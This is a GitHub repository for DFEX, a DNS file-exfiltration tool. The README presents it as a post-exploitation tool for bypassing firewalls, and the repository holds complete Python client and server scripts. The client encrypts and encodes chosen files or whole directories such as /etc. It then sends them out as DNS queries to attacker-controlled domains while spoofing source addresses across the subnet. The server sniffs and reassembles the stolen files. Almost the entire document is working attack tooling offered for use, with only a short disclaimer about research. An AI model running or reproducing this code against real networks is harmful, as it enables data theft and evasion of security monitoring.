├── requirements_server.txt ├── requirements_client.txt ├── LICENSE ├── README.md ├── dfex-server.py └── dfex-client.py /requirements_server.txt: -------------------------------------------------------------------------------- 1 | netifaces==0.10.9 2 | pyaes==1.6.1 3 | pyfiglet==0.8.post1 4 | pyscrypt==1.6.2 5 | -------------------------------------------------------------------------------- /requirements_client.txt: -------------------------------------------------------------------------------- 1 | dnspython==1.16.0 2 | netifaces==0.10.9 3 | pyaes==1.6.1 4 | pyfiglet==0.8.post1 5 | pyscrypt==1.6.2 6 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019 Emilio 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![logo](https://dfex.dob.jp/img/intro-bg.jpg) 2 | 3 | ## DNS File EXfiltration 4 | 5 | Data exfiltration is a common technique used for post-exploitation, DNS is one of the most common protocols through firewalls. 6 | We take the opportunity to build a unique protocol for transferring files across the network. 7 | 8 | Existing tools have some limitations and NG Firewalls are getting a bit "smarter", we have been obliged to explore new combinations of tactics to bypass these. 9 | Using the good old fashion "HIPS" (Hidden In Plain Sigh) tricks to push files out 10 | 11 | ---- 12 | 13 | ## Installation 14 | 15 | ### Client 16 | ``` 17 | apt-get install -y virtualenv python3 python3-pip git 18 | git clone https://github.com/secdev/scapy 19 | cd scapy 20 | sudo python setup.py install && cd .. && sudo rm -rf scapy 21 | ``` 22 | 23 | ``` 24 | virtualenv -p python3 dfex-client 25 | cd dfex-client 26 | source ./bin/activate 27 | ``` 28 | 29 | ``` 30 | git clone https://github.com/ekiojp/dfex 31 | cd dfex 32 | pip3 -r requirements_client.txt install 33 | ``` 34 | 35 | ### Server 36 | ``` 37 | apt-get install -y virtualenv python3 python3-pip git 38 | git clone https://github.com/secdev/scapy 39 | cd scapy 40 | sudo python setup.py install && cd .. && sudo rm -rf scapy 41 | ``` 42 | 43 | ``` 44 | virtualenv -p python3 dfex-server 45 | cd dfex-server 46 | source ./bin/activate 47 | ``` 48 | 49 | ``` 50 | git clone https://github.com/ekiojp/dfex 51 | cd dfex 52 | pip3 -r requirements_server.txt install 53 | ``` 54 | 55 | ---- 56 | 57 | ## Usage 58 | 59 | [Client](https://github.com/ekiojp/dfex/wiki/DFEX-Client) 60 | 61 | [Server](https://github.com/ekiojp/dfex/wiki/DFEX-Server) 62 | 63 | ---- 64 | 65 | # Presentations 66 | 67 | ### Video 68 | [HITB GSEC (Aug 2019)](https://youtu.be/tm2dyKGVNko?t=7493) 69 | ### Slides 70 | [BSides Tokyo (Oct 2019)](https://speakerdeck.com/ekio_jp/dfex-dns-file-exfiltration-bsides-tokyo)
71 | [HITB GSEC (Aug 2019)](https://speakerdeck.com/ekio_jp/dfex-dns-file-exfiltration) or 72 | [HITB GSEC (Aug 2019)](https://gsec.hitb.org/materials/sg2019/D2%20COMMSEC%20-%20DFEX%20%e2%80%93%20DNS%20File%20EXfiltration%20-%20Emilio%20Couto.pdf) 73 | 74 | ---- 75 | 76 | # ToDo 77 | 78 | - [ ] DDFEX - Distributed DNS File Exfiltration 79 | - [ ] Make the code nicer 80 | 81 | ---- 82 | 83 | # Disclaimer 84 | 85 | The tool is provided for educational, research or testing purposes.
86 | Using this tool against network/systems without prior permission is illegal.
87 | The author is not liable for any damages from misuse of this tool, techniques or code. 88 | 89 | ---- 90 | 91 | # Author 92 | 93 | Emilio / [@ekio_jp](https://twitter.com/ekio_jp) 94 | 95 | ---- 96 | 97 | # Licence 98 | 99 | Please see [LICENSE](https://github.com/ekiojp/dfex/blob/master/LICENSE). 100 | -------------------------------------------------------------------------------- /dfex-server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | import sys 4 | import argparse 5 | import binascii 6 | import re 7 | import time 8 | import zlib 9 | import pyaes 10 | import pyscrypt 11 | import base64 12 | import threading 13 | import netifaces as ni 14 | from netifaces import AF_INET 15 | from random import randint 16 | from pyfiglet import Figlet 17 | from scapy.all import * 18 | 19 | # Me 20 | __author__ = "Emilio / @ekio_jp" 21 | __version__ = "1.0" 22 | 23 | # Config 24 | DEBUG = False 25 | PHRASE = b'Waaaaa! awesome :)' 26 | SALT = b'salgruesa' 27 | SEED = '200' 28 | exfiles = {} 29 | iface = '' 30 | 31 | 32 | # Classes 33 | class FileHandler(threading.Thread): 34 | """ 35 | Class to look dict and assemble file chunks 36 | Request re-transmission if need it 37 | It run every 5 seconds to check if any file to process 38 | """ 39 | def __init__(self, exfiles): 40 | threading.Thread.__init__(self) 41 | self.stoprequest = threading.Event() 42 | self.exfiles = exfiles 43 | self.TRANSFER = [] 44 | 45 | def run(self): 46 | while not self.stoprequest.isSet(): 47 | time.sleep(5) 48 | # look for len of chunks exfiles(fileid) == pkttotals 49 | for k,v in self.exfiles.items(): 50 | # for each FILEID (k) 51 | if k not in self.TRANSFER: 52 | chunk_len = len(exfiles[k]['chunk']) 53 | pkt_total = exfiles[k]['pkttotal'] 54 | if chunk_len == pkt_total: 55 | real_name = decrypt(decoder(exfiles[k]['filecrypt'])).decode('utf-8') 56 | # sort and join chunks (str) into bytes 57 | filechunk = [] 58 | for key, value in sorted(exfiles[k]['chunk'].items(), key = operator.itemgetter(0)): 59 | filechunk.append(value) 60 | filefull = ''.join(filechunk) 61 | deco = decoder(filefull) 62 | dec = decrypt(deco) 63 | decompress(dec, real_name) 64 | real_crc = crc(real_name) 65 | if real_crc == exfiles[k]['crc']: 66 | print('INFO: File ID: ' + k + ' (filename: ' + real_name + ')') 67 | print('INFO: Fiel ID: ' + k + ' (CRC32: ' + real_crc + ')') 68 | self.TRANSFER.append(k) 69 | 70 | def join(self): 71 | self.stoprequest.set() 72 | 73 | 74 | # Functions 75 | def crc(filename): 76 | # open file as byte and return crc32 in hex (8 char) 77 | fd = open(filename,'rb').read() 78 | b = (binascii.crc32(fd) & 0xFFFFFFFF) 79 | return '{:x}'.format(b) 80 | 81 | def decrypt(bytestream): 82 | # Hash passphrase + salt and decrypt using AES-CTR mode (return bytestream) 83 | key = pyscrypt.hash(PHRASE, SALT, 1024, 1, 1, 16) 84 | aes = pyaes.AESModeOfOperationCTR(key) 85 | return aes.decrypt(bytestream) 86 | 87 | def decompress(bytestream, filename): 88 | # decompress bytestream and write filename 89 | with open(filename, 'wb') as sfile: 90 | sfile.write(zlib.decompress(bytestream)) 91 | 92 | def decoder(string): 93 | # correct pad, make uppercase and bytes 94 | # decode base32 and return bytestream 95 | pad = int(string[0]) 96 | string = string[1:] 97 | if pad != 0: 98 | string = string + pad * '=' 99 | bytestr = string.upper().encode() 100 | return base64.b32decode(bytestr) 101 | 102 | def missing(chunk, pkttotal): 103 | chunk_set = set() 104 | for key, value in chunk.items(): 105 | chunk_set.add(key) 106 | return list(set(range(1,pkttotal+1)).difference(chunk_set)) 107 | 108 | def senddns(fileid, seq, pkt): 109 | # Craft DNS packet and send query 110 | first = '{:04x}'.format(seq)[:2] 111 | second = '{:04x}'.format(seq)[2:] 112 | answer = SEED + '.' + str(int(fileid, 16)) + '.' + str(int(first, 16)) + '.' + str(int(second, 16)) 113 | dnspkt = (Ether() / 114 | IP(ihl=5, src=pkt[IP].dst, dst=pkt[IP].src) / 115 | UDP(sport=pkt[UDP].dport, dport=pkt[UDP].sport) / 116 | DNS(qr=1, rd=1, ra=1, ancount=1, qd=DNSQR(qtype='A'))) 117 | dnspkt[DNS].qd = pkt[DNS].qd 118 | dnspkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname.decode('utf-8'), type='A', rclass='IN', ttl=randint(3000, 3600), rdata=answer) 119 | dnspkt[IP].id = randint(0, 0xFFFF) 120 | dnspkt[DNS].id = pkt[DNS].id 121 | sendp(dnspkt, iface=iface, verbose=0) 122 | time.sleep(5) 123 | 124 | def pkt_callback(pkt): 125 | if pkt.haslayer(DNS): 126 | qname = pkt[DNS].qd[DNSQR].qname.decode() 127 | chunk = qname.split('.')[0] 128 | fileid = chunk[:2] 129 | if any(qname.replace(chunk + '.', '')[:-1] in d for d in DATA): 130 | if chunk[2:6] == '0000': 131 | # query_fdname = self.fileid + '0000' + fdcrypt 132 | exfiles[fileid]['filecrypt'] = exfiles[fileid]['filecrypt'] + chunk[6:] 133 | else: 134 | # query_data = self.fileid + '{:04x}'.format(x) + chunks[x] 135 | seq = int(chunk[2:6], 16) 136 | exfiles[fileid]['chunk'][seq] = chunk[6:] 137 | 138 | elif any(qname.replace(chunk + '.', '')[:-1] in c for c in CONTROL): 139 | if (len(chunk) != 2) and (len(chunk) != 6): 140 | # first control packet 141 | # fileid + crcfd + '{:04x}'.format(pkttotal) 142 | exfiles[fileid] = {} 143 | exfiles[fileid]['filecrypt'] = '' 144 | exfiles[fileid]['chunk'] = {} 145 | exfiles[fileid]['pkttotal'] = int(chunk[-4:], 16) 146 | exfiles[fileid]['crc'] = chunk[2:10] 147 | else: 148 | # only if dict has pending True build DNS ANS for chuck missing 149 | if exfiles[fileid]['pkttotal'] != len(exfiles[fileid]['chunk']): 150 | # re-transmission packet 151 | seqmiss = missing(exfiles[fileid]['chunk'], exfiles[fileid]['pkttotal']) 152 | print('INFO: Chunk ' + ''.join(str(seqmiss)) + ' missing for File ID: ' + fileid) 153 | senddns(fileid, seqmiss[0], pkt) 154 | 155 | 156 | def parsingopt(): 157 | f = Figlet(font='standard') 158 | print(f.renderText('DFEX')) 159 | print('Author: ' + __author__) 160 | print('Version: ' + __version__ + '\n') 161 | parser = argparse.ArgumentParser(add_help=True) 162 | command_group_dat = parser.add_mutually_exclusive_group(required=True) 163 | command_group_ctl = parser.add_mutually_exclusive_group(required=True) 164 | parser.add_argument('-v', dest='verbose', action='store_true', help='Enable debugging') 165 | parser.add_argument('-i', dest='nic', required=True, metavar='eth0', help='Interface') 166 | command_group_dat.add_argument('-d', dest='datdomain', metavar='dfex.dat.dom', help='Data domain') 167 | command_group_dat.add_argument('-D', dest='datdomainfd', metavar='data.txt', help='File with data domain (1 per line)') 168 | command_group_ctl.add_argument('-c', dest='ctldomain', metavar='dfex.ctrl.dom', help='Control domain') 169 | command_group_ctl.add_argument('-C', dest='ctldomainfd', metavar='control.txt', help='File with control domain (1 per line)') 170 | if len(sys.argv) > 1: 171 | try: 172 | return parser.parse_args() 173 | except(IOError): 174 | parser.error(str(IOError)) 175 | else: 176 | parser.print_help() 177 | sys.exit(1) 178 | 179 | 180 | # Main Funtion 181 | def main(): 182 | global DEBUG 183 | global DATA 184 | global CONTROL 185 | global exfiles 186 | global iface 187 | 188 | options = parsingopt() 189 | 190 | if options.verbose: 191 | DEBUG = True 192 | 193 | if options.nic in ni.interfaces(): 194 | iface = options.nic 195 | else: 196 | print('ERROR: interface not valid') 197 | sys.exit(1) 198 | 199 | if options.datdomain: 200 | DATA = [options.datdomain] 201 | if not re.search(r'^(?=.{4,255}$)([a-zA-Z0-9][a-zA-Z0-9-]{,61}[a-zA-Z0-9]\.)+[a-zA-Z0-9]{2,5}$', options.datdomain): 202 | print('ERROR: Data domain not valid') 203 | sys.exit(1) 204 | 205 | if options.datdomainfd: 206 | try: 207 | with open(options.datdomainfd, 'r') as sfile: 208 | DATA = sfile.read().split() 209 | for x in DATA: 210 | if not re.search(r'^(?=.{4,255}$)([a-zA-Z0-9][a-zA-Z0-9-]{,61}[a-zA-Z0-9]\.)+[a-zA-Z0-9]{2,5}$', x): 211 | print('ERROR: Data domain not valid ',x) 212 | sys.exit(1) 213 | except(OSError): 214 | print('ERROR: Can\'t read file',options.datdomainfd) 215 | sys.exit(1) 216 | 217 | if options.ctldomain: 218 | CONTROL = [options.ctldomain] 219 | if not re.search(r'^(?=.{4,255}$)([a-zA-Z0-9][a-zA-Z0-9-]{,61}[a-zA-Z0-9]\.)+[a-zA-Z0-9]{2,5}$', options.ctldomain): 220 | print('ERROR: Control domain not valid') 221 | sys.exit(1) 222 | 223 | if options.ctldomainfd: 224 | try: 225 | with open(options.ctldomainfd, 'r') as sfile: 226 | CONTROL = sfile.read().split() 227 | for x in CONTROL: 228 | if not re.search(r'^(?=.{4,255}$)([a-zA-Z0-9][a-zA-Z0-9-]{,61}[a-zA-Z0-9]\.)+[a-zA-Z0-9]{2,5}$', x): 229 | print('ERROR: Control domain not valid ',x) 230 | sys.exit(1) 231 | except(OSError): 232 | print('ERROR: Can\'t read file',options.ctldomainfd) 233 | sys.exit(1) 234 | 235 | # New Thread daemon looking into exfiles for completed files 236 | fdh = FileHandler(exfiles) 237 | fdh.start() 238 | 239 | srcipreal = ni.ifaddresses(iface)[AF_INET][0]['addr'] 240 | if DEBUG: 241 | print('DEBUG: realip :',srcipreal) 242 | print('DEBUG: interface :',iface) 243 | print('INFO: Listening....') 244 | 245 | # Main loop 246 | while True: 247 | try: 248 | sniff(iface=iface, prn=pkt_callback, filter="udp port 53 and not src " + srcipreal, store=0) 249 | print('\nSayonara') 250 | fdh.join() 251 | sys.exit(0) 252 | except KeyboardInterrupt: 253 | sys.exit(0) 254 | 255 | 256 | # Call main 257 | if __name__ == "__main__": 258 | main() 259 | -------------------------------------------------------------------------------- /dfex-client.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | import sys 4 | import argparse 5 | import binascii 6 | import re 7 | import time 8 | import os 9 | import zlib 10 | import pyaes 11 | import pyscrypt 12 | import base64 13 | from netifaces import AF_INET 14 | import netifaces as ni 15 | import ipaddress 16 | import threading 17 | from random import randint, shuffle 18 | from pyfiglet import Figlet 19 | import dns.resolver 20 | from scapy.all import * 21 | 22 | # Me 23 | __author__ = "Emilio / @ekio_jp" 24 | __version__ = "1.0" 25 | 26 | # Config 27 | DEBUG = False 28 | PHRASE = b'Waaaaa! awesome :)' 29 | SALT = b'salgruesa' 30 | CHAR = 20 31 | SEED = '200' 32 | RETRANSHOLD = 5 33 | 34 | 35 | # Classes 36 | class FileHandler(threading.Thread): 37 | """ 38 | Class to send DNS NS request using spoof src IP 39 | filename = fullpath file to extract 40 | fileid = str of '00-ff' for file ID 41 | iface = interface for sending packets 42 | ctldomain is a list of control_domain 43 | datdomain is a list of data_domain 44 | network is IPv4Network object for src_ip, if None use local_lan 45 | datdomain is a list of data_domain 46 | network is IPv4Network object for src_ip, if None use local_lan 47 | server is a list of DNS server if None, use system_DNS (/etc/resolv.conf) 48 | """ 49 | 50 | def __init__(self, filename, fileid, iface, ctldomain, datdomain, network, server): 51 | threading.Thread.__init__(self) 52 | self.filepath = filename 53 | self.fileid = fileid 54 | self.iface = iface 55 | self.ctldomain = ctldomain 56 | self.datdomain = datdomain 57 | self.net = network 58 | self.server = server 59 | 60 | def run(self): 61 | # make a list of IP's for spoofing 62 | if DEBUG: 63 | print('DEBUG: Network:',self.net) 64 | srcipreal = ni.ifaddresses(self.iface)[AF_INET][0]['addr'] 65 | srcip = [] 66 | for ip in list(self.net.hosts()): 67 | srcip.append(str(ip)) 68 | shuffle(srcip) 69 | if DEBUG: 70 | print('DEBUG: Amount of SRC IP:',len(srcip)) 71 | 72 | # compress, encrypt, encode and split 73 | filename = os.path.basename(self.filepath) 74 | fdcrypt = filenamecrypt(filename) 75 | crcfd = crc(self.filepath) 76 | ziped = compress(self.filepath) 77 | crypt = encrypt(ziped) 78 | enc = encoder(crypt) 79 | chunks = spliter(enc) 80 | pkttotal = len(chunks) 81 | print('INFO: File ID: ' + self.fileid + ' (CRC32: ' + crcfd + ')') 82 | if DEBUG: 83 | print('DEBUG: File ID: {} ({} chunks)'.format(self.fileid,pkttotal)) 84 | 85 | # Sending Control Query 86 | ctldom = dompick(self.ctldomain) 87 | query = self.fileid + crcfd + '{:04x}'.format(pkttotal) + '.' + ctldom 88 | senddns(self.iface, srcipreal, query, self.server, 2) 89 | 90 | # Sending Data Query for filename (Seq 0000) 91 | datdom = dompick(self.datdomain) 92 | query = self.fileid + '0000' + fdcrypt + '.' + datdom 93 | senddns(self.iface, srcip[0], query, self.server, 2) 94 | 95 | # Generate SEQ list and shuffle order 96 | cnt = 0 97 | seq = [] 98 | cnt = 0 99 | seq = [] 100 | for x in range(1, pkttotal+1): 101 | seq.append(x) 102 | shuffle(seq) 103 | 104 | # Send each CHAR Data packet using random SEQ order and Data domains) 105 | for x in seq: 106 | datdom = dompick(self.datdomain) 107 | query = self.fileid + '{:04x}'.format(x) + chunks[x-1] + '.' + datdom 108 | senddns(self.iface, srcip[cnt], query, self.server, 2) 109 | if cnt >= len(srcip)-1: 110 | cnt = 0 111 | cnt = cnt + 1 112 | # Enable delay between DNS query if need it (WILL SLOW DOWN TRANSFER!) 113 | #time.sleep(randint(1, 3)) 114 | 115 | # After all Data chunks sent, ask for retransmission 116 | RETRA = True 117 | cnt = 0 118 | reseqnum = '0000' 119 | while RETRA: 120 | # Sending Retransmission Query 121 | ctldom = dompick(self.ctldomain) 122 | query = self.fileid + reseqnum + '.' + ctldom 123 | if DEBUG: 124 | print('DEBUG: Retransmission Query:',self.iface, srcipreal, query, ''.join(self.server)) 125 | ret = RetransHandler(self.iface, srcipreal) 126 | ret.daemon = True 127 | ret.start() 128 | time.sleep(0.5) 129 | senddns(self.iface, srcipreal, query, self.server, 1) 130 | time.sleep(RETRANSHOLD) 131 | ans = ret.join() 132 | print('INFO: Check {} seconds retransmission (File ID: {})'.format(str(RETRANSHOLD),self.fileid)) 133 | if ans: 134 | if ans[DNS].qd[DNSQR].qname.decode() == self.fileid + reseqnum + '.' + ctldom + '.': 135 | ansip = ans[DNS].an[DNSRR].rdata.split('.') 136 | if (ansip[0] == SEED) and ('{:02x}'.format(int(ansip[1])) == self.fileid): 137 | reseq = int(('{:02x}'.format(int(ansip[2])) + '{:02x}'.format(int(ansip[3]))), 16) 138 | datdom = dompick(self.datdomain) 139 | query = self.fileid + '{:04x}'.format(reseq) + chunks[reseq-1] + '.' + datdom 140 | if DEBUG: 141 | print('DEBUG: retransmission Answer:',self.iface, srcip[cnt], query, ''.join(self.server)) 142 | senddns(self.iface, srcip[cnt], query, self.server, 1) 143 | reseqnum = '{:04x}'.format(reseq) 144 | else: 145 | RETRA = False 146 | 147 | 148 | class RetransHandler(threading.Thread): 149 | def __init__(self, iface, srcip): 150 | threading.Thread.__init__(self) 151 | self.stoprequest = threading.Event() 152 | self.iface = iface 153 | self.srcip = srcip 154 | self._rtn_pkt = None 155 | 156 | def pkt_callbak(self, pkt): 157 | if pkt.haslayer(DNS): 158 | if pkt[DNS].an: 159 | self._rtn_pkt = pkt 160 | self.join() 161 | 162 | def run(self): 163 | while not self.stoprequest.isSet(): 164 | sniff(iface=self.iface, prn=self.pkt_callbak, 165 | filter="udp port 53 and not src " + self.srcip, store=0, timeout=RETRANSHOLD) 166 | 167 | def join(self): 168 | self.stoprequest.set() 169 | return self._rtn_pkt 170 | 171 | 172 | 173 | # Functions 174 | def senddns(iface, srcip, query, servers, qtype): 175 | # Craft DNS query 176 | dnspkt = (Ether() / 177 | IP(ihl=5, src=srcip, dst=servers[randint(0,len(servers)-1)]) / 178 | UDP(sport=53, dport=53) / 179 | DNS(rd=1)) 180 | #DNS(rd=1, qd=DNSQR(qtype=qtype))) 181 | dnspkt[DNS].qd = DNSQR(qname=query,qtype=qtype) 182 | dnspkt[IP].id = randint(0, 0xFFFF) 183 | dnspkt[DNS].id = randint(0, 0xFFFF) 184 | sendp(dnspkt, iface=iface, verbose=0) 185 | 186 | def crc(filename): 187 | # open file as byte and return crc32 in hex (8 char) 188 | fd = open(filename,'rb').read() 189 | b = (binascii.crc32(fd) & 0xFFFFFFFF) 190 | return '{:x}'.format(b) 191 | 192 | def initid(): 193 | # return random hex from 00-FF 194 | return '{:02x}'.format(randint(0,0xFF)) 195 | 196 | def nextid(id): 197 | # return str of next ID (hex) using prev ID + 1 (rollover if 0xFF) 198 | if int(id, 16) == 255: 199 | return '00' 200 | else: 201 | return '{:02x}'.format(int(id,16) + 1) 202 | 203 | def compress(filename): 204 | # open file as byte and compress using max level (9) and return bytestream 205 | fd = open(filename, 'rb').read() 206 | return zlib.compress(fd, 9) 207 | 208 | def encrypt(bytestream): 209 | # Hash passphrase + salt and encrypt using AES-CTR mode (return bytestream) 210 | key = pyscrypt.hash(PHRASE, SALT, 1024, 1, 1, 16) 211 | aes = pyaes.AESModeOfOperationCTR(key) 212 | cipherbyte = aes.encrypt(bytestream) 213 | return cipherbyte 214 | 215 | def encoder(bytestream): 216 | # encode base32 from bytes, add first number for 0-7 padding and delete '=' 217 | # return just str (inc padding) 218 | enc = base64.b32encode(bytestream).decode('utf-8').lower() 219 | pad = len(enc) - len(enc.replace('=', '')) 220 | return str(pad) + enc.replace('=','') 221 | 222 | def spliter(stream): 223 | # take stream (str) as input and split by CHAR, return a str list 224 | array = [stream[i:i+CHAR] for i in range(0, len(stream), CHAR)] 225 | return array 226 | 227 | def dompick(domains): 228 | # return a random domain 229 | return domains[randint(0,len(domains)-1)] 230 | 231 | def filenamecrypt(filename): 232 | # encrypt & encode the filename for SEQ 0000 pkt 233 | crypt = encrypt(str.encode(filename)) 234 | return encoder(crypt) 235 | 236 | def testdns(iface, servers): 237 | # test internal DNS if can resolve internet 238 | resolver = dns.resolver.Resolver() 239 | resolver.timeout = 1 240 | resolver.lifetime = 1 241 | resolver.nameservers = servers 242 | rtn = None 243 | try: 244 | answers = resolver.query("8.8.8.8.in-addr.arpa", "PTR") 245 | for rdata in answers: 246 | if 'dns.google.' in str(rdata): 247 | rtn = True 248 | return rtn 249 | return rtn 250 | except: 251 | return rtn 252 | 253 | 254 | def parsingopt(): 255 | f = Figlet(font='standard') 256 | print(f.renderText('DFEX')) 257 | print('Author: ' + __author__) 258 | print('Version: ' + __version__ + '\n') 259 | parser = argparse.ArgumentParser(add_help=True) 260 | command_group_dat = parser.add_mutually_exclusive_group(required=True) 261 | command_group_ctl = parser.add_mutually_exclusive_group(required=True) 262 | command_group_fd = parser.add_mutually_exclusive_group(required=True) 263 | parser.add_argument('-v', dest='verbose', action='store_true', help='Enable debugging') 264 | parser.add_argument('-n', dest='net', metavar='10.10.10.0/24', help='Spoofing Network, default local network') 265 | parser.add_argument('-s', dest='supernet', metavar='3', help='Supernet, 3 will make /24 into /21') 266 | parser.add_argument('-dns', dest='nameserver', metavar='10.10.10.1', help='DNS Server, default use /etc/resolv.conf') 267 | parser.add_argument('-i', dest='nic', required=True, metavar='eth0', help='Interface') 268 | command_group_dat.add_argument('-d', dest='datdomain', metavar='dfex.dat.dom', help='Data domain') 269 | command_group_dat.add_argument('-D', dest='datdomainfd', metavar='data.txt', help='File with data domain (1 per line)') 270 | command_group_ctl.add_argument('-c', dest='ctldomain', metavar='dfex.ctrl.dom', help='Control domain') 271 | command_group_ctl.add_argument('-C', dest='ctldomainfd', metavar='control.txt', help='File with control domain (1 per line)') 272 | command_group_fd.add_argument('-f', dest='file', metavar='secret.xlsx', help='File to extrafiltrate') 273 | command_group_fd.add_argument('-F', dest='dir', metavar='/etc', help='Directory of files to exfiltrate') 274 | if len(sys.argv) > 1: 275 | try: 276 | return parser.parse_args() 277 | except(IOError): 278 | parser.error(str(IOError)) 279 | else: 280 | parser.print_help() 281 | sys.exit(1) 282 | 283 | 284 | # Main Function 285 | def main(): 286 | global DEBUG 287 | options = parsingopt() 288 | 289 | if options.verbose: 290 | DEBUG = True 291 | 292 | if options.nic in ni.interfaces(): 293 | iface = options.nic 294 | else: 295 | print('ERROR: interface not valid') 296 | sys.exit(1) 297 | 298 | if options.net: 299 | try: 300 | network = ipaddress.IPv4Network(options.net) 301 | except: 302 | print('ERROR: network/netmask not valid') 303 | sys.exit(1) 304 | else: 305 | localip = ni.ifaddresses(iface)[AF_INET][0]['addr'] 306 | localmask = ni.ifaddresses(iface)[AF_INET][0]['netmask'] 307 | network = ipaddress.IPv4Network(localip + '/' + localmask, False) 308 | 309 | if options.supernet: 310 | if 31 >= int(options.supernet) >= 1: 311 | print(options.supernet) 312 | network = ipaddress.IPv4Network(network).supernet(prefixlen_diff=int(options.supernet)) 313 | else: 314 | print('ERROR: invalid supernet (1-31)') 315 | sys.exit(1) 316 | 317 | if options.nameserver: 318 | server = [options.nameserver] 319 | else: 320 | server = re.findall(r'nameserver (.*)', open('/etc/resolv.conf').read()) 321 | 322 | if options.datdomain: 323 | datdomain = [options.datdomain] 324 | if not re.search(r'^(?=.{4,255}$)([a-zA-Z0-9][a-zA-Z0-9-]{,61}[a-zA-Z0-9]\.)+[a-zA-Z0-9]{2,5}$', options.datdomain): 325 | print('ERROR: Data domain not valid') 326 | sys.exit(1) 327 | 328 | if options.datdomainfd: 329 | try: 330 | with open(options.datdomainfd, 'r') as sfile: 331 | datdomain = sfile.read().split() 332 | for x in datdomain: 333 | if not re.search(r'^(?=.{4,255}$)([a-zA-Z0-9][a-zA-Z0-9-]{,61}[a-zA-Z0-9]\.)+[a-zA-Z0-9]{2,5}$', x): 334 | print('ERROR: Data domain not valid ',x) 335 | sys.exit(1) 336 | except(OSError): 337 | print('ERROR: Can\'t read file',options.datdomainfd) 338 | sys.exit(1) 339 | 340 | if options.ctldomain: 341 | ctldomain = [options.ctldomain] 342 | if not re.search(r'^(?=.{4,255}$)([a-zA-Z0-9][a-zA-Z0-9-]{,61}[a-zA-Z0-9]\.)+[a-zA-Z0-9]{2,5}$', options.ctldomain): 343 | print('ERROR: Control domain not valid') 344 | sys.exit(1) 345 | 346 | if options.ctldomainfd: 347 | try: 348 | with open(options.ctldomainfd, 'r') as sfile: 349 | ctldomain = sfile.read().split() 350 | for x in ctldomain: 351 | if not re.search(r'^(?=.{4,255}$)([a-zA-Z0-9][a-zA-Z0-9-]{,61}[a-zA-Z0-9]\.)+[a-zA-Z0-9]{2,5}$', x): 352 | print('ERROR: Control domain not valid ',x) 353 | sys.exit(1) 354 | except(OSError): 355 | print('ERROR: Can\'t read file',options.ctldomainfd) 356 | sys.exit(1) 357 | 358 | if options.file: 359 | if os.path.exists(options.file): 360 | filename = [options.file] 361 | else: 362 | print('ERROR: file dont exist') 363 | sys.exit(1) 364 | 365 | if options.dir: 366 | filename = [] 367 | for dirpath, dirnames, files in os.walk(options.dir): 368 | for names in files: 369 | filename.append(os.path.join(dirpath, names)) 370 | if not filename: 371 | print('ERROR: directory empty') 372 | sys.exit(1) 373 | 374 | # Test DNS resolution 375 | if testdns(iface, server): 376 | fileid = initid() 377 | for fd in filename: 378 | print('INFO: Filename: {} (File ID: {})'.format(fd,fileid)) 379 | fdh = FileHandler(fd, fileid, iface, ctldomain, datdomain, network, server) 380 | fdh.start() 381 | fileid = nextid(fileid) 382 | else: 383 | print('ERROR: No external DNS resolution using DNS Servers:',' '.join(server)) 384 | sys.exit(1) 385 | 386 | 387 | # Call main 388 | if __name__ == "__main__": 389 | main() 390 | --------------------------------------------------------------------------------